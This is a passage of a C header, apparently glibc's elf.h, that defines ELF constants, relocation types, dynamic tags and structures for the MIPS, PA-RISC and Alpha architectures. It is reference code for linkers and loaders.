0x70000012 #define SHT_MIPS_DENSE 0x70000013 #define SHT_MIPS_PDESC 0x70000014 #define SHT_MIPS_LOCSYM 0x70000015 #define SHT_MIPS_AUXSYM 0x70000016 #define SHT_MIPS_OPTSYM 0x70000017 #define SHT_MIPS_LOCSTR 0x70000018 #define SHT_MIPS_LINE 0x70000019 #define SHT_MIPS_RFDESC 0x7000001a #define SHT_MIPS_DELTASYM 0x7000001b #define SHT_MIPS_DELTAINST 0x7000001c #define SHT_MIPS_DELTACLASS 0x7000001d #define SHT_MIPS_DWARF 0x7000001e /* DWARF debugging information. */ #define SHT_MIPS_DELTADECL 0x7000001f #define SHT_MIPS_SYMBOL_LIB 0x70000020 #define SHT_MIPS_EVENTS 0x70000021 /* Event section. */ #define SHT_MIPS_TRANSLATE 0x70000022 #define SHT_MIPS_PIXIE 0x70000023 #define SHT_MIPS_XLATE 0x70000024 #define SHT_MIPS_XLATE_DEBUG 0x70000025 #define SHT_MIPS_WHIRL 0x70000026 #define SHT_MIPS_EH_REGION 0x70000027 #define SHT_MIPS_XLATE_OLD 0x70000028 #define SHT_MIPS_PDR_EXCEPTION 0x70000029 #define SHT_MIPS_XHASH 0x7000002b /* Legal values for sh_flags field of Elf32_Shdr. */ #define SHF_MIPS_GPREL 0x10000000 /* Must be in global data area. */ #define SHF_MIPS_MERGE 0x20000000 #define SHF_MIPS_ADDR 0x40000000 #define SHF_MIPS_STRINGS 0x80000000 #define SHF_MIPS_NOSTRIP 0x08000000 #define SHF_MIPS_LOCAL 0x04000000 #define SHF_MIPS_NAMES 0x02000000 #define SHF_MIPS_NODUPE 0x01000000 /* Symbol tables. */ /* MIPS specific values for `st_other'. */ #define STO_MIPS_DEFAULT 0x0 #define STO_MIPS_INTERNAL 0x1 #define STO_MIPS_HIDDEN 0x2 #define STO_MIPS_PROTECTED 0x3 #define STO_MIPS_PLT 0x8 #define STO_MIPS_SC_ALIGN_UNUSED 0xff /* MIPS specific values for `st_info'. */ #define STB_MIPS_SPLIT_COMMON 13 /* Entries found in sections of type SHT_MIPS_GPTAB. */ typedef union { struct { Elf32_Word gt_current_g_value; /* -G value used for compilation. */ Elf32_Word gt_unused; /* Not used. */ } gt_header; /* First entry in section. */ struct { Elf32_Word gt_g_value; /* If this value were used for -G. */ Elf32_Word gt_bytes; /* This many bytes would be used. */ } gt_entry; /* Subsequent entries in section. */ } Elf32_gptab; /* Entry found in sections of type SHT_MIPS_REGINFO. */ typedef struct { Elf32_Word ri_gprmask; /* General registers used. */ Elf32_Word ri_cprmask[4]; /* Coprocessor registers used. */ Elf32_Sword ri_gp_value; /* $gp register value. */ } Elf32_RegInfo; /* Entries found in sections of type SHT_MIPS_OPTIONS. */ typedef struct { unsigned char kind; /* Determines interpretation of the variable part of descriptor. */ unsigned char size; /* Size of descriptor, including header. */ Elf32_Section section; /* Section header index of section affected, 0 for global options. */ Elf32_Word info; /* Kind-specific information. */ } Elf_Options; /* Values for `kind' field in Elf_Options. */ #define ODK_NULL 0 /* Undefined. */ #define ODK_REGINFO 1 /* Register usage information. */ #define ODK_EXCEPTIONS 2 /* Exception processing options. */ #define ODK_PAD 3 /* Section padding options. */ #define ODK_HWPATCH 4 /* Hardware workarounds performed */ #define ODK_FILL 5 /* record the fill value used by the linker. */ #define ODK_TAGS 6 /* reserve space for desktop tools to write. */ #define ODK_HWAND 7 /* HW workarounds. 'AND' bits when merging. */ #define ODK_HWOR 8 /* HW workarounds. 'OR' bits when merging. */ /* Values for `info' in Elf_Options for ODK_EXCEPTIONS entries. */ #define OEX_FPU_MIN 0x1f /* FPE's which MUST be enabled. */ #define OEX_FPU_MAX 0x1f00 /* FPE's which MAY be enabled. */ #define OEX_PAGE0 0x10000 /* page zero must be mapped. */ #define OEX_SMM 0x20000 /* Force sequential memory mode? */ #define OEX_FPDBUG 0x40000 /* Force floating point debug mode? */ #define OEX_PRECISEFP OEX_FPDBUG #define OEX_DISMISS 0x80000 /* Dismiss invalid address faults? */ #define OEX_FPU_INVAL 0x10 #define OEX_FPU_DIV0 0x08 #define OEX_FPU_OFLO 0x04 #define OEX_FPU_UFLO 0x02 #define OEX_FPU_INEX 0x01 /* Masks for `info' in Elf_Options for an ODK_HWPATCH entry. */ #define OHW_R4KEOP 0x1 /* R4000 end-of-page patch. */ #define OHW_R8KPFETCH 0x2 /* may need R8000 prefetch patch. */ #define OHW_R5KEOP 0x4 /* R5000 end-of-page patch. */ #define OHW_R5KCVTL 0x8 /* R5000 cvt.[ds].l bug. clean=1. */ #define OPAD_PREFIX 0x1 #define OPAD_POSTFIX 0x2 #define OPAD_SYMBOL 0x4 /* Entry found in `.options' section. */ typedef struct { Elf32_Word hwp_flags1; /* Extra flags. */ Elf32_Word hwp_flags2; /* Extra flags. */ } Elf_Options_Hw; /* Masks for `info' in ElfOptions for ODK_HWAND and ODK_HWOR entries. */ #define OHWA0_R4KEOP_CHECKED 0x00000001 #define OHWA1_R4KEOP_CLEAN 0x00000002 /* MIPS relocs. */ #define R_MIPS_NONE 0 /* No reloc */ #define R_MIPS_16 1 /* Direct 16 bit */ #define R_MIPS_32 2 /* Direct 32 bit */ #define R_MIPS_REL32 3 /* PC relative 32 bit */ #define R_MIPS_26 4 /* Direct 26 bit shifted */ #define R_MIPS_HI16 5 /* High 16 bit */ #define R_MIPS_LO16 6 /* Low 16 bit */ #define R_MIPS_GPREL16 7 /* GP relative 16 bit */ #define R_MIPS_LITERAL 8 /* 16 bit literal entry */ #define R_MIPS_GOT16 9 /* 16 bit GOT entry */ #define R_MIPS_PC16 10 /* PC relative 16 bit */ #define R_MIPS_CALL16 11 /* 16 bit GOT entry for function */ #define R_MIPS_GPREL32 12 /* GP relative 32 bit */ #define R_MIPS_SHIFT5 16 #define R_MIPS_SHIFT6 17 #define R_MIPS_64 18 #define R_MIPS_GOT_DISP 19 #define R_MIPS_GOT_PAGE 20 #define R_MIPS_GOT_OFST 21 #define R_MIPS_GOT_HI16 22 #define R_MIPS_GOT_LO16 23 #define R_MIPS_SUB 24 #define R_MIPS_INSERT_A 25 #define R_MIPS_INSERT_B 26 #define R_MIPS_DELETE 27 #define R_MIPS_HIGHER 28 #define R_MIPS_HIGHEST 29 #define R_MIPS_CALL_HI16 30 #define R_MIPS_CALL_LO16 31 #define R_MIPS_SCN_DISP 32 #define R_MIPS_REL16 33 #define R_MIPS_ADD_IMMEDIATE 34 #define R_MIPS_PJUMP 35 #define R_MIPS_RELGOT 36 #define R_MIPS_JALR 37 #define R_MIPS_TLS_DTPMOD32 38 /* Module number 32 bit */ #define R_MIPS_TLS_DTPREL32 39 /* Module-relative offset 32 bit */ #define R_MIPS_TLS_DTPMOD64 40 /* Module number 64 bit */ #define R_MIPS_TLS_DTPREL64 41 /* Module-relative offset 64 bit */ #define R_MIPS_TLS_GD 42 /* 16 bit GOT offset for GD */ #define R_MIPS_TLS_LDM 43 /* 16 bit GOT offset for LDM */ #define R_MIPS_TLS_DTPREL_HI16 44 /* Module-relative offset, high 16 bits */ #define R_MIPS_TLS_DTPREL_LO16 45 /* Module-relative offset, low 16 bits */ #define R_MIPS_TLS_GOTTPREL 46 /* 16 bit GOT offset for IE */ #define R_MIPS_TLS_TPREL32 47 /* TP-relative offset, 32 bit */ #define R_MIPS_TLS_TPREL64 48 /* TP-relative offset, 64 bit */ #define R_MIPS_TLS_TPREL_HI16 49 /* TP-relative offset, high 16 bits */ #define R_MIPS_TLS_TPREL_LO16 50 /* TP-relative offset, low 16 bits */ #define R_MIPS_GLOB_DAT 51 #define R_MIPS_COPY 126 #define R_MIPS_JUMP_SLOT 127 /* Keep this the last entry. */ #define R_MIPS_NUM 128 /* Legal values for p_type field of Elf32_Phdr. */ #define PT_MIPS_REGINFO 0x70000000 /* Register usage information. */ #define PT_MIPS_RTPROC 0x70000001 /* Runtime procedure table. */ #define PT_MIPS_OPTIONS 0x70000002 #define PT_MIPS_ABIFLAGS 0x70000003 /* FP mode requirement. */ /* Special program header types. */ #define PF_MIPS_LOCAL 0x10000000 /* Legal values for d_tag field of Elf32_Dyn. */ #define DT_MIPS_RLD_VERSION 0x70000001 /* Runtime linker interface version */ #define DT_MIPS_TIME_STAMP 0x70000002 /* Timestamp */ #define DT_MIPS_ICHECKSUM 0x70000003 /* Checksum */ #define DT_MIPS_IVERSION 0x70000004 /* Version string (string tbl index) */ #define DT_MIPS_FLAGS 0x70000005 /* Flags */ #define DT_MIPS_BASE_ADDRESS 0x70000006 /* Base address */ #define DT_MIPS_MSYM 0x70000007 #define DT_MIPS_CONFLICT 0x70000008 /* Address of CONFLICT section */ #define DT_MIPS_LIBLIST 0x70000009 /* Address of LIBLIST section */ #define DT_MIPS_LOCAL_GOTNO 0x7000000a /* Number of local GOT entries */ #define DT_MIPS_CONFLICTNO 0x7000000b /* Number of CONFLICT entries */ #define DT_MIPS_LIBLISTNO 0x70000010 /* Number of LIBLIST entries */ #define DT_MIPS_SYMTABNO 0x70000011 /* Number of DYNSYM entries */ #define DT_MIPS_UNREFEXTNO 0x70000012 /* First external DYNSYM */ #define DT_MIPS_GOTSYM 0x70000013 /* First GOT entry in DYNSYM */ #define DT_MIPS_HIPAGENO 0x70000014 /* Number of GOT page table entries */ #define DT_MIPS_RLD_MAP 0x70000016 /* Address of run time loader map. */ #define DT_MIPS_DELTA_CLASS 0x70000017 /* Delta C++ class definition. */ #define DT_MIPS_DELTA_CLASS_NO 0x70000018 /* Number of entries in DT_MIPS_DELTA_CLASS. */ #define DT_MIPS_DELTA_INSTANCE 0x70000019 /* Delta C++ class instances. */ #define DT_MIPS_DELTA_INSTANCE_NO 0x7000001a /* Number of entries in DT_MIPS_DELTA_INSTANCE. */ #define DT_MIPS_DELTA_RELOC 0x7000001b /* Delta relocations. */ #define DT_MIPS_DELTA_RELOC_NO 0x7000001c /* Number of entries in DT_MIPS_DELTA_RELOC. */ #define DT_MIPS_DELTA_SYM 0x7000001d /* Delta symbols that Delta relocations refer to. */ #define DT_MIPS_DELTA_SYM_NO 0x7000001e /* Number of entries in DT_MIPS_DELTA_SYM. */ #define DT_MIPS_DELTA_CLASSSYM 0x70000020 /* Delta symbols that hold the class declaration. */ #define DT_MIPS_DELTA_CLASSSYM_NO 0x70000021 /* Number of entries in DT_MIPS_DELTA_CLASSSYM. */ #define DT_MIPS_CXX_FLAGS 0x70000022 /* Flags indicating for C++ flavor. */ #define DT_MIPS_PIXIE_INIT 0x70000023 #define DT_MIPS_SYMBOL_LIB 0x70000024 #define DT_MIPS_LOCALPAGE_GOTIDX 0x70000025 #define DT_MIPS_LOCAL_GOTIDX 0x70000026 #define DT_MIPS_HIDDEN_GOTIDX 0x70000027 #define DT_MIPS_PROTECTED_GOTIDX 0x70000028 #define DT_MIPS_OPTIONS 0x70000029 /* Address of .options. */ #define DT_MIPS_INTERFACE 0x7000002a /* Address of .interface. */ #define DT_MIPS_DYNSTR_ALIGN 0x7000002b #define DT_MIPS_INTERFACE_SIZE 0x7000002c /* Size of the .interface section. */ #define DT_MIPS_RLD_TEXT_RESOLVE_ADDR 0x7000002d /* Address of rld_text_rsolve function stored in GOT. */ #define DT_MIPS_PERF_SUFFIX 0x7000002e /* Default suffix of dso to be added by rld on dlopen() calls. */ #define DT_MIPS_COMPACT_SIZE 0x7000002f /* (O32)Size of compact rel section. */ #define DT_MIPS_GP_VALUE 0x70000030 /* GP value for aux GOTs. */ #define DT_MIPS_AUX_DYNAMIC 0x70000031 /* Address of aux .dynamic. */ /* The address of .got.plt in an executable using the new non-PIC ABI. */ #define DT_MIPS_PLTGOT 0x70000032 /* The base of the PLT in an executable using the new non-PIC ABI if that PLT is writable. For a non-writable PLT, this is omitted or has a zero value. */ #define DT_MIPS_RWPLT 0x70000034 /* An alternative description of the classic MIPS RLD_MAP that is usable in a PIE as it stores a relative offset from the address of the tag rather than an absolute address. */ #define DT_MIPS_RLD_MAP_REL 0x70000035 /* GNU-style hash table with xlat. */ #define DT_MIPS_XHASH 0x70000036 #define DT_MIPS_NUM 0x37 /* Legal values for DT_MIPS_FLAGS Elf32_Dyn entry. */ #define RHF_NONE 0 /* No flags */ #define RHF_QUICKSTART (1 << 0) /* Use quickstart */ #define RHF_NOTPOT (1 << 1) /* Hash size not power of 2 */ #define RHF_NO_LIBRARY_REPLACEMENT (1 << 2) /* Ignore LD_LIBRARY_PATH */ #define RHF_NO_MOVE (1 << 3) #define RHF_SGI_ONLY (1 << 4) #define RHF_GUARANTEE_INIT (1 << 5) #define RHF_DELTA_C_PLUS_PLUS (1 << 6) #define RHF_GUARANTEE_START_INIT (1 << 7) #define RHF_PIXIE (1 << 8) #define RHF_DEFAULT_DELAY_LOAD (1 << 9) #define RHF_REQUICKSTART (1 << 10) #define RHF_REQUICKSTARTED (1 << 11) #define RHF_CORD (1 << 12) #define RHF_NO_UNRES_UNDEF (1 << 13) #define RHF_RLD_ORDER_SAFE (1 << 14) /* Entries found in sections of type SHT_MIPS_LIBLIST. */ typedef struct { Elf32_Word l_name; /* Name (string table index) */ Elf32_Word l_time_stamp; /* Timestamp */ Elf32_Word l_checksum; /* Checksum */ Elf32_Word l_version; /* Interface version */ Elf32_Word l_flags; /* Flags */ } Elf32_Lib; typedef struct { Elf64_Word l_name; /* Name (string table index) */ Elf64_Word l_time_stamp; /* Timestamp */ Elf64_Word l_checksum; /* Checksum */ Elf64_Word l_version; /* Interface version */ Elf64_Word l_flags; /* Flags */ } Elf64_Lib; /* Legal values for l_flags. */ #define LL_NONE 0 #define LL_EXACT_MATCH (1 << 0) /* Require exact match */ #define LL_IGNORE_INT_VER (1 << 1) /* Ignore interface version */ #define LL_REQUIRE_MINOR (1 << 2) #define LL_EXPORTS (1 << 3) #define LL_DELAY_LOAD (1 << 4) #define LL_DELTA (1 << 5) /* Entries found in sections of type SHT_MIPS_CONFLICT. */ typedef Elf32_Addr Elf32_Conflict; typedef struct { /* Version of flags structure. */ Elf32_Half version; /* The level of the ISA: 1-5, 32, 64. */ unsigned char isa_level; /* The revision of ISA: 0 for MIPS V and below, 1-n otherwise. */ unsigned char isa_rev; /* The size of general purpose registers. */ unsigned char gpr_size; /* The size of co-processor 1 registers. */ unsigned char cpr1_size; /* The size of co-processor 2 registers. */ unsigned char cpr2_size; /* The floating-point ABI. */ unsigned char fp_abi; /* Processor-specific extension. */ Elf32_Word isa_ext; /* Mask of ASEs used. */ Elf32_Word ases; /* Mask of general flags. */ Elf32_Word flags1; Elf32_Word flags2; } Elf_MIPS_ABIFlags_v0; /* Values for the register size bytes of an abi flags structure. */ #define MIPS_AFL_REG_NONE 0x00 /* No registers. */ #define MIPS_AFL_REG_32 0x01 /* 32-bit registers. */ #define MIPS_AFL_REG_64 0x02 /* 64-bit registers. */ #define MIPS_AFL_REG_128 0x03 /* 128-bit registers. */ /* Masks for the ases word of an ABI flags structure. */ #define MIPS_AFL_ASE_DSP 0x00000001 /* DSP ASE. */ #define MIPS_AFL_ASE_DSPR2 0x00000002 /* DSP R2 ASE. */ #define MIPS_AFL_ASE_EVA 0x00000004 /* Enhanced VA Scheme. */ #define MIPS_AFL_ASE_MCU 0x00000008 /* MCU (MicroController) ASE. */ #define MIPS_AFL_ASE_MDMX 0x00000010 /* MDMX ASE. */ #define MIPS_AFL_ASE_MIPS3D 0x00000020 /* MIPS-3D ASE. */ #define MIPS_AFL_ASE_MT 0x00000040 /* MT ASE. */ #define MIPS_AFL_ASE_SMARTMIPS 0x00000080 /* SmartMIPS ASE. */ #define MIPS_AFL_ASE_VIRT 0x00000100 /* VZ ASE. */ #define MIPS_AFL_ASE_MSA 0x00000200 /* MSA ASE. */ #define MIPS_AFL_ASE_MIPS16 0x00000400 /* MIPS16 ASE. */ #define MIPS_AFL_ASE_MICROMIPS 0x00000800 /* MICROMIPS ASE. */ #define MIPS_AFL_ASE_XPA 0x00001000 /* XPA ASE. */ #define MIPS_AFL_ASE_MASK 0x00001fff /* All ASEs. */ /* Values for the isa_ext word of an ABI flags structure. */ #define MIPS_AFL_EXT_XLR 1 /* RMI Xlr instruction. */ #define MIPS_AFL_EXT_OCTEON2 2 /* Cavium Networks Octeon2. */ #define MIPS_AFL_EXT_OCTEONP 3 /* Cavium Networks OcteonP. */ #define MIPS_AFL_EXT_LOONGSON_3A 4 /* Loongson 3A. */ #define MIPS_AFL_EXT_OCTEON 5 /* Cavium Networks Octeon. */ #define MIPS_AFL_EXT_5900 6 /* MIPS R5900 instruction. */ #define MIPS_AFL_EXT_4650 7 /* MIPS R4650 instruction. */ #define MIPS_AFL_EXT_4010 8 /* LSI R4010 instruction. */ #define MIPS_AFL_EXT_4100 9 /* NEC VR4100 instruction. */ #define MIPS_AFL_EXT_3900 10 /* Toshiba R3900 instruction. */ #define MIPS_AFL_EXT_10000 11 /* MIPS R10000 instruction. */ #define MIPS_AFL_EXT_SB1 12 /* Broadcom SB-1 instruction. */ #define MIPS_AFL_EXT_4111 13 /* NEC VR4111/VR4181 instruction. */ #define MIPS_AFL_EXT_4120 14 /* NEC VR4120 instruction. */ #define MIPS_AFL_EXT_5400 15 /* NEC VR5400 instruction. */ #define MIPS_AFL_EXT_5500 16 /* NEC VR5500 instruction. */ #define MIPS_AFL_EXT_LOONGSON_2E 17 /* ST Microelectronics Loongson 2E. */ #define MIPS_AFL_EXT_LOONGSON_2F 18 /* ST Microelectronics Loongson 2F. */ /* Masks for the flags1 word of an ABI flags structure. */ #define MIPS_AFL_FLAGS1_ODDSPREG 1 /* Uses odd single-precision registers. */ /* Object attribute values. */ enum { /* Not tagged or not using any ABIs affected by the differences. */ Val_GNU_MIPS_ABI_FP_ANY = 0, /* Using hard-float -mdouble-float. */ Val_GNU_MIPS_ABI_FP_DOUBLE = 1, /* Using hard-float -msingle-float. */ Val_GNU_MIPS_ABI_FP_SINGLE = 2, /* Using soft-float. */ Val_GNU_MIPS_ABI_FP_SOFT = 3, /* Using -mips32r2 -mfp64. */ Val_GNU_MIPS_ABI_FP_OLD_64 = 4, /* Using -mfpxx. */ Val_GNU_MIPS_ABI_FP_XX = 5, /* Using -mips32r2 -mfp64. */ Val_GNU_MIPS_ABI_FP_64 = 6, /* Using -mips32r2 -mfp64 -mno-odd-spreg. */ Val_GNU_MIPS_ABI_FP_64A = 7, /* Maximum allocated FP ABI value. */ Val_GNU_MIPS_ABI_FP_MAX = 7 }; /* HPPA specific definitions. */ /* Legal values for e_flags field of Elf32_Ehdr. */ #define EF_PARISC_TRAPNIL 0x00010000 /* Trap nil pointer dereference. */ #define EF_PARISC_EXT 0x00020000 /* Program uses arch. extensions. */ #define EF_PARISC_LSB 0x00040000 /* Program expects little endian. */ #define EF_PARISC_WIDE 0x00080000 /* Program expects wide mode. */ #define EF_PARISC_NO_KABP 0x00100000 /* No kernel assisted branch prediction. */ #define EF_PARISC_LAZYSWAP 0x00400000 /* Allow lazy swapping. */ #define EF_PARISC_ARCH 0x0000ffff /* Architecture version. */ /* Defined values for `e_flags & EF_PARISC_ARCH' are: */ #define EFA_PARISC_1_0 0x020b /* PA-RISC 1.0 big-endian. */ #define EFA_PARISC_1_1 0x0210 /* PA-RISC 1.1 big-endian. */ #define EFA_PARISC_2_0 0x0214 /* PA-RISC 2.0 big-endian. */ /* Additional section indeces. */ #define SHN_PARISC_ANSI_COMMON 0xff00 /* Section for tenatively declared symbols in ANSI C. */ #define SHN_PARISC_HUGE_COMMON 0xff01 /* Common blocks in huge model. */ /* Legal values for sh_type field of Elf32_Shdr. */ #define SHT_PARISC_EXT 0x70000000 /* Contains product specific ext. */ #define SHT_PARISC_UNWIND 0x70000001 /* Unwind information. */ #define SHT_PARISC_DOC 0x70000002 /* Debug info for optimized code. */ /* Legal values for sh_flags field of Elf32_Shdr. */ #define SHF_PARISC_SHORT 0x20000000 /* Section with short addressing. */ #define SHF_PARISC_HUGE 0x40000000 /* Section far from gp. */ #define SHF_PARISC_SBP 0x80000000 /* Static branch prediction code. */ /* Legal values for ST_TYPE subfield of st_info (symbol type). */ #define STT_PARISC_MILLICODE 13 /* Millicode function entry point. */ #define STT_HP_OPAQUE (STT_LOOS + 0x1) #define STT_HP_STUB (STT_LOOS + 0x2) /* HPPA relocs. */ #define R_PARISC_NONE 0 /* No reloc. */ #define R_PARISC_DIR32 1 /* Direct 32-bit reference. */ #define R_PARISC_DIR21L 2 /* Left 21 bits of eff. address. */ #define R_PARISC_DIR17R 3 /* Right 17 bits of eff. address. */ #define R_PARISC_DIR17F 4 /* 17 bits of eff. address. */ #define R_PARISC_DIR14R 6 /* Right 14 bits of eff. address. */ #define R_PARISC_PCREL32 9 /* 32-bit rel. address. */ #define R_PARISC_PCREL21L 10 /* Left 21 bits of rel. address. */ #define R_PARISC_PCREL17R 11 /* Right 17 bits of rel. address. */ #define R_PARISC_PCREL17F 12 /* 17 bits of rel. address. */ #define R_PARISC_PCREL14R 14 /* Right 14 bits of rel. address. */ #define R_PARISC_DPREL21L 18 /* Left 21 bits of rel. address. */ #define R_PARISC_DPREL14R 22 /* Right 14 bits of rel. address. */ #define R_PARISC_GPREL21L 26 /* GP-relative, left 21 bits. */ #define R_PARISC_GPREL14R 30 /* GP-relative, right 14 bits. */ #define R_PARISC_LTOFF21L 34 /* LT-relative, left 21 bits. */ #define R_PARISC_LTOFF14R 38 /* LT-relative, right 14 bits. */ #define R_PARISC_SECREL32 41 /* 32 bits section rel. address. */ #define R_PARISC_SEGBASE 48 /* No relocation, set segment base. */ #define R_PARISC_SEGREL32 49 /* 32 bits segment rel. address. */ #define R_PARISC_PLTOFF21L 50 /* PLT rel. address, left 21 bits. */ #define R_PARISC_PLTOFF14R 54 /* PLT rel. address, right 14 bits. */ #define R_PARISC_LTOFF_FPTR32 57 /* 32 bits LT-rel. function pointer. */ #define R_PARISC_LTOFF_FPTR21L 58 /* LT-rel. fct ptr, left 21 bits. */ #define R_PARISC_LTOFF_FPTR14R 62 /* LT-rel. fct ptr, right 14 bits. */ #define R_PARISC_FPTR64 64 /* 64 bits function address. */ #define R_PARISC_PLABEL32 65 /* 32 bits function address. */ #define R_PARISC_PLABEL21L 66 /* Left 21 bits of fdesc address. */ #define R_PARISC_PLABEL14R 70 /* Right 14 bits of fdesc address. */ #define R_PARISC_PCREL64 72 /* 64 bits PC-rel. address. */ #define R_PARISC_PCREL22F 74 /* 22 bits PC-rel. address. */ #define R_PARISC_PCREL14WR 75 /* PC-rel. address, right 14 bits. */ #define R_PARISC_PCREL14DR 76 /* PC rel. address, right 14 bits. */ #define R_PARISC_PCREL16F 77 /* 16 bits PC-rel. address. */ #define R_PARISC_PCREL16WF 78 /* 16 bits PC-rel. address. */ #define R_PARISC_PCREL16DF 79 /* 16 bits PC-rel. address. */ #define R_PARISC_DIR64 80 /* 64 bits of eff. address. */ #define R_PARISC_DIR14WR 83 /* 14 bits of eff. address. */ #define R_PARISC_DIR14DR 84 /* 14 bits of eff. address. */ #define R_PARISC_DIR16F 85 /* 16 bits of eff. address. */ #define R_PARISC_DIR16WF 86 /* 16 bits of eff. address. */ #define R_PARISC_DIR16DF 87 /* 16 bits of eff. address. */ #define R_PARISC_GPREL64 88 /* 64 bits of GP-rel. address. */ #define R_PARISC_GPREL14WR 91 /* GP-rel. address, right 14 bits. */ #define R_PARISC_GPREL14DR 92 /* GP-rel. address, right 14 bits. */ #define R_PARISC_GPREL16F 93 /* 16 bits GP-rel. address. */ #define R_PARISC_GPREL16WF 94 /* 16 bits GP-rel. address. */ #define R_PARISC_GPREL16DF 95 /* 16 bits GP-rel. address. */ #define R_PARISC_LTOFF64 96 /* 64 bits LT-rel. address. */ #define R_PARISC_LTOFF14WR 99 /* LT-rel. address, right 14 bits. */ #define R_PARISC_LTOFF14DR 100 /* LT-rel. address, right 14 bits. */ #define R_PARISC_LTOFF16F 101 /* 16 bits LT-rel. address. */ #define R_PARISC_LTOFF16WF 102 /* 16 bits LT-rel. address. */ #define R_PARISC_LTOFF16DF 103 /* 16 bits LT-rel. address. */ #define R_PARISC_SECREL64 104 /* 64 bits section rel. address. */ #define R_PARISC_SEGREL64 112 /* 64 bits segment rel. address. */ #define R_PARISC_PLTOFF14WR 115 /* PLT-rel. address, right 14 bits. */ #define R_PARISC_PLTOFF14DR 116 /* PLT-rel. address, right 14 bits. */ #define R_PARISC_PLTOFF16F 117 /* 16 bits LT-rel. address. */ #define R_PARISC_PLTOFF16WF 118 /* 16 bits PLT-rel. address. */ #define R_PARISC_PLTOFF16DF 119 /* 16 bits PLT-rel. address. */ #define R_PARISC_LTOFF_FPTR64 120 /* 64 bits LT-rel. function ptr. */ #define R_PARISC_LTOFF_FPTR14WR 123 /* LT-rel. fct. ptr., right 14 bits. */ #define R_PARISC_LTOFF_FPTR14DR 124 /* LT-rel. fct. ptr., right 14 bits. */ #define R_PARISC_LTOFF_FPTR16F 125 /* 16 bits LT-rel. function ptr. */ #define R_PARISC_LTOFF_FPTR16WF 126 /* 16 bits LT-rel. function ptr. */ #define R_PARISC_LTOFF_FPTR16DF 127 /* 16 bits LT-rel. function ptr. */ #define R_PARISC_LORESERVE 128 #define R_PARISC_COPY 128 /* Copy relocation. */ #define R_PARISC_IPLT 129 /* Dynamic reloc, imported PLT */ #define R_PARISC_EPLT 130 /* Dynamic reloc, exported PLT */ #define R_PARISC_TPREL32 153 /* 32 bits TP-rel. address. */ #define R_PARISC_TPREL21L 154 /* TP-rel. address, left 21 bits. */ #define R_PARISC_TPREL14R 158 /* TP-rel. address, right 14 bits. */ #define R_PARISC_LTOFF_TP21L 162 /* LT-TP-rel. address, left 21 bits. */ #define R_PARISC_LTOFF_TP14R 166 /* LT-TP-rel. address, right 14 bits.*/ #define R_PARISC_LTOFF_TP14F 167 /* 14 bits LT-TP-rel. address. */ #define R_PARISC_TPREL64 216 /* 64 bits TP-rel. address. */ #define R_PARISC_TPREL14WR 219 /* TP-rel. address, right 14 bits. */ #define R_PARISC_TPREL14DR 220 /* TP-rel. address, right 14 bits. */ #define R_PARISC_TPREL16F 221 /* 16 bits TP-rel. address. */ #define R_PARISC_TPREL16WF 222 /* 16 bits TP-rel. address. */ #define R_PARISC_TPREL16DF 223 /* 16 bits TP-rel. address. */ #define R_PARISC_LTOFF_TP64 224 /* 64 bits LT-TP-rel. address. */ #define R_PARISC_LTOFF_TP14WR 227 /* LT-TP-rel. address, right 14 bits.*/ #define R_PARISC_LTOFF_TP14DR 228 /* LT-TP-rel. address, right 14 bits.*/ #define R_PARISC_LTOFF_TP16F 229 /* 16 bits LT-TP-rel. address. */ #define R_PARISC_LTOFF_TP16WF 230 /* 16 bits LT-TP-rel. address. */ #define R_PARISC_LTOFF_TP16DF 231 /* 16 bits LT-TP-rel. address. */ #define R_PARISC_GNU_VTENTRY 232 #define R_PARISC_GNU_VTINHERIT 233 #define R_PARISC_TLS_GD21L 234 /* GD 21-bit left. */ #define R_PARISC_TLS_GD14R 235 /* GD 14-bit right. */ #define R_PARISC_TLS_GDCALL 236 /* GD call to __t_g_a. */ #define R_PARISC_TLS_LDM21L 237 /* LD module 21-bit left. */ #define R_PARISC_TLS_LDM14R 238 /* LD module 14-bit right. */ #define R_PARISC_TLS_LDMCALL 239 /* LD module call to __t_g_a. */ #define R_PARISC_TLS_LDO21L 240 /* LD offset 21-bit left. */ #define R_PARISC_TLS_LDO14R 241 /* LD offset 14-bit right. */ #define R_PARISC_TLS_DTPMOD32 242 /* DTP module 32-bit. */ #define R_PARISC_TLS_DTPMOD64 243 /* DTP module 64-bit. */ #define R_PARISC_TLS_DTPOFF32 244 /* DTP offset 32-bit. */ #define R_PARISC_TLS_DTPOFF64 245 /* DTP offset 32-bit. */ #define R_PARISC_TLS_LE21L R_PARISC_TPREL21L #define R_PARISC_TLS_LE14R R_PARISC_TPREL14R #define R_PARISC_TLS_IE21L R_PARISC_LTOFF_TP21L #define R_PARISC_TLS_IE14R R_PARISC_LTOFF_TP14R #define R_PARISC_TLS_TPREL32 R_PARISC_TPREL32 #define R_PARISC_TLS_TPREL64 R_PARISC_TPREL64 #define R_PARISC_HIRESERVE 255 /* Legal values for p_type field of Elf32_Phdr/Elf64_Phdr. */ #define PT_HP_TLS (PT_LOOS + 0x0) #define PT_HP_CORE_NONE (PT_LOOS + 0x1) #define PT_HP_CORE_VERSION (PT_LOOS + 0x2) #define PT_HP_CORE_KERNEL (PT_LOOS + 0x3) #define PT_HP_CORE_COMM (PT_LOOS + 0x4) #define PT_HP_CORE_PROC (PT_LOOS + 0x5) #define PT_HP_CORE_LOADABLE (PT_LOOS + 0x6) #define PT_HP_CORE_STACK (PT_LOOS + 0x7) #define PT_HP_CORE_SHM (PT_LOOS + 0x8) #define PT_HP_CORE_MMF (PT_LOOS + 0x9) #define PT_HP_PARALLEL (PT_LOOS + 0x10) #define PT_HP_FASTBIND (PT_LOOS + 0x11) #define PT_HP_OPT_ANNOT (PT_LOOS + 0x12) #define PT_HP_HSL_ANNOT (PT_LOOS + 0x13) #define PT_HP_STACK (PT_LOOS + 0x14) #define PT_PARISC_ARCHEXT 0x70000000 #define PT_PARISC_UNWIND 0x70000001 /* Legal values for p_flags field of Elf32_Phdr/Elf64_Phdr. */ #define PF_PARISC_SBP 0x08000000 #define PF_HP_PAGE_SIZE 0x00100000 #define PF_HP_FAR_SHARED 0x00200000 #define PF_HP_NEAR_SHARED 0x00400000 #define PF_HP_CODE 0x01000000 #define PF_HP_MODIFY 0x02000000 #define PF_HP_LAZYSWAP 0x04000000 #define PF_HP_SBP 0x08000000 /* Alpha specific definitions. */ /* Legal values for e_flags field of Elf64_Ehdr. */ #define EF_ALPHA_32BIT 1 /* All addresses must be < 2GB. */ #define EF_ALPHA_CANRELAX 2 /* Relocations for relaxing exist. */ /* Legal values for sh_type field of Elf64_Shdr. */ /* These two are primerily concerned with ECOFF debugging info. */ #define 